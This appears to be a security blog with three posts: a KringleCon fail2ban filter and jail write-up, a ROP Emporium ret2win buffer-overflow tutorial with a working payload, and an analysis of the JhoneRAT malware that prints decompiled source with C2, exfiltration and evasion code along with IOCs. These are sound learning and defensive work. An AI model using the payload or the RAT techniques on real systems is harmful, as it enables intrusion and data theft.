Kringlecon 2021 - Ho Ho ...No !

It’s this time of the year again ! The SANS xmas challenge is back and I though I would documented some of the challenges as a way to get back into this blog. Without further ado, let’s jump into it !

Ho Ho …No !

This challenge is focused on the famous fail2ban. Here is the challenge:

Jack is trying to break into Santa's workshop!

Santa's elves are working 24/7 to manually look through logs, identify the
malicious IP addresses, and block them. We need your help to automate this so
the elves can get back to making presents!

Can you configure Fail2Ban to detect and block the bad IPs?

 * You must monitor for new log entries in /var/log/hohono.log
 * If an IP generates 10 or more failure messages within an hour then it must
   be added to the naughty list by running naughtylist add <ip>
        /root/naughtylist add 12.34.56.78
 * You can also remove an IP with naughtylist del <ip>
        /root/naughtylist del 12.34.56.78
 * You can check which IPs are currently on the naughty list by running
        /root/naughtylist list

You'll be rewarded if you correctly identify all the malicious IPs with a
Fail2Ban filter in /etc/fail2ban/filter.d, an action to ban and unban in
/etc/fail2ban/action.d, and a custom jail in /etc/fail2ban/jail.d. Don't
add any nice IPs to the naughty list!
   
*** IMPORTANT NOTE! ***

Fail2Ban won't rescan any logs it has already seen. That means it won't
automatically process the log file each time you make changes to the Fail2Ban
config. When needed, run /root/naughtylist list refresh to re-sample the log file
and tell Fail2Ban to reprocess it.

To resolve this challenge, fail2ban-client will be rather helpful, as well as fail2ban-regex

Fail2Ban jail “kinglecon”

The config requirement for this file are:

  • log entries in /var/log/hohono.log
  • 10 or more failure messages
  • within an hour

Which gives us something like this:

[kringlecon]
findtime = 3600
bantime = 600
maxretry = 10
backend = auto
filter   = kringle
banaction = kringle
enabled = true
logpath  = /var/log/hohono.log

Obviously the filter and banaction “kringle” still need to be defined at this point

Fail2Ban action “kinglecon”

This one is very straightforward, let’s not forget to put the full path of the naughtylist executable and we should be good to go:

[Definition]
actionban = /root/naughtylist add <ip>
actionunban = /root/naughtylist del <ip>

Finally, we need to set up our filter.

Fail2Ban filter “kinglecon”

Grepping the log file for different kind of log shows four interesting type of log:

[Definition]
failregex  = ^.* Login from <HOST> rejected due to unknown user name.*$
             ^.* Failed login from <HOST> for .*$
             ^.* <HOST> sent a malformed request.*$
             ^.* Invalid heartbeat .* from <HOST>.*$

Be carefull that the timestamps are automatically processed while using fail2ban-regex but not in the filter (or the other way around…)

ROP Emporium: Ret2win

As I am not that experienced with exploitation yet, I recently decided to follow the series of challenges offered by ROP Emporium. The challenges will be explained here both as a documentation exercise and with the hope that other cybersecurity enthusiasts will be able to find some value in those tutorials. Since I’ll solve most of the challenges in x64 architecture, the following document might be helpful x64 cheatsheet

Requirement

First, we download the zip file for the challenges:

wget https://ropemporium.com/binary/rop_emporium_all_challenges.zip
unzip rop_emporium_all_challenges.zip

Radare2

Radare2 is a complete framework for reverse-engineering and analyzing binaries; composed of a set of small utilities that can be used together or independently from the command line.

apt-get install git
git clone https://github.com/radare/radare2
cd radare2
sys/install.sh

Ropper

You can use ropper to display information about binary files in different file formats and you can search for gadgets to build rop chains for different architectures (x86/X86_64, ARM/ARM64, MIPS/MIPS64, PowerPC/PowerPC64, SPARC64). For disassembly ropper uses the awesome Capstone Framework.

apt install python-pip
pip install ropper

Pwntools

Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

apt-get update
apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
pip install --upgrade pip
pip install --upgrade pwntools

Peda

PEDA - Python Exploit Development Assistance for GDB

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

Ret2win

A first glance at the binary using r2 shows three main functions:

0x00400746    1 111          sym.main
0x004007b5    1 92           sym.pwnme
0x00400811    1 32           sym.ret2win

Upon further examination, we can easily determine to which address we need to return to:

/ (fcn) sym.ret2win 32
|   sym.ret2win ();
|           0x00400811      55             push rbp
|           0x00400812      4889e5         mov rbp, rsp
|           0x00400815      bfe0094000     mov edi, str.Thank_you__Here_s_your_flag: ; 0x4009e0 ; "Thank you! Here's your flag:"
|           0x0040081a      b800000000     mov eax, 0
|           0x0040081f      e8ccfdffff     call sym.imp.printf
|           0x00400824      bffd094000     mov edi, str.bin_cat_flag.txt ; 0x4009fd ; "/bin/cat flag.txt"
|           0x00400829      e8b2fdffff     call sym.imp.system
|           0x0040082e      90             nop
|           0x0040082f      5d             pop rbp
\           0x00400830      c3             ret

Next, we need to determine our offset by providing the binary with a special non-repeatable pattern:

Creating our pattern:
gdb ret2win
pattern_create 200
or 
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

Once we provide our pattern to the binary we are greeted with:

Program received signal SIGSEGV, Segmentation fault.                                                      
[----------------------------------registers-----------------------------------]                          
RAX: 0x7fffffffe130 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")                                 
RBX: 0x0                                                                                                  
RCX: 0x0                                                                                                  
RDX: 0x7ffff7fa4590 --> 0x0                                                                               
RSI: 0x6022a1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'"...)
RDI: 0x7fffffffe131 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")                                  
RBP: 0x6141414541412941 ('A)AAEAAa')                                                                      
RSP: 0x7fffffffe158 ("AA0AAFAAb")                                                                         
RIP: 0x400810 (<pwnme+91>:      ret)                                                                      
R8 : 0x7fffffffe130 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")                                 
R9 : 0x7ffff7fa9500 (0x00007ffff7fa9500)                                                                  
R10: 0x410                                                                                                
R11: 0x246                                                                                                
R12: 0x400650 (<_start>:        xor    ebp,ebp)                                                           
R13: 0x7fffffffe240 --> 0x1                                                                               
R14: 0x0                                                                                                  
R15: 0x0                                                                                                  
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)                         
[-------------------------------------code-------------------------------------]                                                                                                                                    
   0x400809 <pwnme+84>: call   0x400620 <fgets@plt>                                                       
   0x40080e <pwnme+89>: nop                                                                               
   0x40080f <pwnme+90>: leave                                                                             
=> 0x400810 <pwnme+91>: ret                                                                               
   0x400811 <ret2win>:  push   rbp                                                                        
   0x400812 <ret2win+1>:        mov    rbp,rsp                                                            
   0x400815 <ret2win+4>:        mov    edi,0x4009e0                                                       
   0x40081a <ret2win+9>:        mov    eax,0x0                                                            
[------------------------------------stack-------------------------------------]                          
0000| 0x7fffffffe158 ("AA0AAFAAb")                                                                        
0008| 0x7fffffffe160 --> 0x400062 --> 0x1f8000000000000                                                   
0016| 0x7fffffffe168 --> 0x7ffff7e0ebbb (<__libc_start_main+235>:       mov    edi,eax)                                                                                                                             
0024| 0x7fffffffe170 --> 0x0                                                                              
0032| 0x7fffffffe178 --> 0x7fffffffe248 --> 0x7fffffffe53a ("/root/ropemporium/ret2win")                  
0040| 0x7fffffffe180 --> 0x100040000                                                                      
0048| 0x7fffffffe188 --> 0x400746 (<main>:      push   rbp)                                               
0056| 0x7fffffffe190 --> 0x0                                                                              
[------------------------------------------------------------------------------]                          
Legend: code, data, rodata, value                                                                         
Stopped reason: SIGSEGV                                                                                   
0x0000000000400810 in pwnme ()   

We can see that the stack pointer(RSP) has now been overwritten by the value “AA0AAFAAb”. Using this value, we can determine how much padding will be needed before writing the address to the function ret2win@0x00400811

pattern offset AA0AAFAAb
AA0AAFAAb found at offset: 40

Now if all goes according to plan, the following line should return the flags:

python -c 'print "\x90"*40                #Will take care of the padding
+"\x11\x08\x40\x00\x00\x00\x00\x00\x00"'  #Will write our address into RSP
   
root@kali:~/ropemporium# python -c 'print "\x90"*40 + "\x11\x08\x40\x00\x00\x00\x00\x00\x00"' | ./ret2win
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault

*Note that the value of RIP has not been overwritten, this is because, in the x64 architecture, the value will not be poped into RDI if it cannot be jumped to or executed.

A new foe has appeared !

Introduction

The idea to finally set up my own blog stems from my first malware analysis where a word document was spotted on Twitter by one of my colleagues. Following the Twitter thread showed that some researchers had already done some preliminary analysis but the main payload still needed to be unpacked and analyzed. After reaching out to one of the researchers (@Arkbird_SOLG) I was directed to a great tutorial about how to unpack python executable (Tutorial)

Sample



As mentionned before, researchers had already figure out that the document was first downloading a dropper by reaching out to an googledrive link, downloading a picture from which the python RAT was extracted.

As a result, I headed to AnyRun in order to fetch the RAT that I now needed to unpack. After running strings on the executable for good measure, I cloned the python-exe-unpacker and unpacked the file:

user@ubuntu:/opt/python-exe-unpacker$ sudo python python_exe_unpack.py -i prc.bin
[*] On Python 3.6
[*] Processing prc.bin
[*] Pyinstaller version: 2.1+
[*] This exe is packed using pyinstaller
[*] Unpacking the binary now
[*] Python version: 37
[*] Length of package: 6760411 bytes
[*] Found 39 files in CArchive
[*] Beginning extraction...please standby
[!] Warning: The script is running in a different python version than the one used to build the executable
    Run this script in Python37 to prevent extraction errors(if any) during unmarshalling
[*] Found 324 files in PYZ archive
[*] Successfully extracted pyinstaller exe.

Now that we have the compiled python script (.pyc) and the python libraries (.pyd) from the executable file, we need to uncompile our main executable which in this case is final2.

After failing to use sudo and getting some errors with uncompyle6:

user@ubuntu:/opt/python-exe-unpacker/unpacked/prc.bin$ uncompyle6
Traceback (most recent call last):
(...)
TypeError: not all arguments converted during string formatting

We realize that we need to change the file extension:

user@ubuntu:/opt/python-exe-unpacker/unpacked/prc.bin$ sudo uncompyle6 final2
# file final2
# path final2 must point to a .py or .pyc file

We are now greeted with yet another error:

user@ubuntu:/opt/python-exe-unpacker/unpacked/prc.bin$ sudo uncompyle6 final2.pyc
Traceback (most recent call last):
  File "/user/.local/lib/python3.6/site-packages/xdis/load.py", line 106, in load_module
    version = float(magics.versions[magic][:3])
KeyError: b'\xe3\x00\x00\x00'
(...)
TypeError: ord() expected string of length 1, but int found

This is due to the fact that the first 16-bytes of data on the header is missing. To find the missing bytes, we just need to open one of the other .pyc files available:

Now after struggling a bit, I found that instead of adding the value:

42 0D 0D 0A 00 00 00 00 00 00 00 00

to mimic the structure of the existing pyc files, I needed to actually add:

42 0D 0D 0A 00 00 00 00 00 00 00 00 00 00 00 00

And that the file was only getting decompiled on my windows environment…

Finaly we can uncompile the file:

C:\Users\user\Desktop>uncompyle6 final2.pyc
# uncompyle6 version 3.6.2
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul  8 2019, 19:29:22) [MSC v.1916 32 bit (Intel)]
# Embedded file name: final2.py
from requests import post, get
from datetime import datetime
from os import path, environ, remove, startfile
from bs4 import BeautifulSoup
from time import sleep, gmtime, strftime
import subprocess, threading, winreg as wreg
from base64 import b64decode, b64encode
from random import choice
import sys
tw = '@jhone87438316'
ss_id = '1FAIpQLSfCNzwaz4WoFfnvNZS99CeGMp86H3hNoHCtwira8uW_b3vYTQ'
ss_id_entry = 'entry.62933741'
out_id = '1FAIpQLSfwDQBvgZZfMu1LKviMuCdaWfYato07ac5tS5IZJS1XZ6BEbw'
out_user_entry = 'entry.1539892742'
out_result_entry = 'entry.1818065606'
fk = '1BmzeSxclQMmxiD-8SjnyxXQolx-44cJh'
t1 = '1JRWUcux5uocl9gNZ3f8Ue--P1kLjZkQC'
t2 = '1Z2Y_QZXvza28ZqLUuzmWiSElvcySBf2o'
ch = [
 'chrome', 'ccleaner', 'winrar', 'proc']
chimg = ['imag', 'pic', 'photo', 'cartoon']
u1 = choice(ch) + '.exe'
img = choice(chimg) + '.jpg'
txt = choice(ch) + '.txt'
(...)
# okay decompiling final2.pyc

The whole decompiled source is available here.

As only the fonction’s name are obfuscated, it’s fairly easy to understand the capability of the malware. As an example:

content1 = fct_exec('wmic diskdrive get SerialNumber /format:list').replace(' ', '').replace('SerialNumber=', '')

Getting the disk serial number as a VM evasion technique.

key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, 'Keyboard Layout\\Preload', 0, wreg.KEY_ALL_ACCESS)

Checking the keyboard layout.

We can also see that two payloads are hardcoded into the file. Both are hidden within a picture the same way the dropper was:

Jerry

Source Link
Google drive https://drive.google.com/uc?export=qtypasadfzxcload&id=1JRWUcux5uocl9gNZ3f8Ue–P1kLjZkQC
Any.Run https://app.any.run/tasks/da50d156-3183-46f0-ab13-722ee395d932
VirusTotal https://www.virustotal.com/gui/file/b994ae5cbfb5ad308656e9a8bf7a4a866fdeb9e23699f89f048d7f92e6bb8577/details


Type Value
MD5 a1cd6a64e8f8ad5d4b6c07dc4113c7ec
SHA-1 60e2f48a51c061bba72a08f34be781354f87aa49
SHA-256 b994ae5cbfb5ad308656e9a8bf7a4a866fdeb9e23699f89f048d7f92e6bb8577

Appears to be NirCmd:

NirCmd is a small command-line utility that allows you to do some useful tasks without displaying any user interface. By running NirCmd with simple command-line option, you can write and delete values and keys in the Registry, write values into INI file, dial to your internet account or connect to a VPN network, restart windows or shut down the computer, create shortcut to a file, change the created/modified date of a file, change your display settings, turn off your monitor, open the door of your CD-ROM drive, and more…

Sunset

Source Link
Google drive https://drive.google.com/uc?export=qtypasadfzxcload&id=1Z2Y_QZXvza28ZqLUuzmWiSElvcySBf2o
Any.Run https://app.any.run/tasks/0f400de0-00b1-4d7e-ae03-83130592a443
VirusTotal https://www.virustotal.com/gui/file/9373556b150ca9f92f3a9100122eed9fc3024698be63c6ed4538b9d2027c43f1/detection


Type Value
MD5 e3882832f8349d3686e6a6b83ed715c0
SHA-1 d4ff6784fb1e67f35cd3ee43e014f12e2b9a01ec
SHA-256 9373556b150ca9f92f3a9100122eed9fc3024698be63c6ed4538b9d2027c43f1

Appears to be a Password viewer/downloader.

C2

Finally, we can also see that the RAT is using Twitter as a C2:

def mjhd(name=tw):
    if name.startswith('@'):
        name = name[1:]
    url = 'https://twitter.com/' + name
    headers = {'User-Agent': 'Chrome/28.0.1500.52'}
    r = get(url, headers=headers)
    data = r.text
    print(r.status_code)
    soup = BeautifulSoup(data, 'html.parser')
    title = soup.title.text
    bio = soup.find('p', {'class': 'ProfileHeaderCard-bio'}).text
    tweets = soup.findAll('div', {'class': 'tweet'})
    m1 = tweets[:1][0].find('p').text
    print(m1)
    return m1

JhoneRAT

For a more detailed analysis of this malware, Thalos actually published a very nice writeup. two days after I spent my night unpacking my sample. Needless to say that for a first stab at malware analysis, I was pretty excited when I realized that not only I managed to decompile and analyze the sample properly, but my team was also able to send a notice to some of our stakeholders one day before Talos published its writeup.

Additional Ressources:

https://zondatw.github.io/2019/pyinstaller_decompile/ https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/FlareOn6_Challenge7_Solution_WOPR.pdf https://infosecuritygeek.com/reversing-a-simple-python-ransomware/ https://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html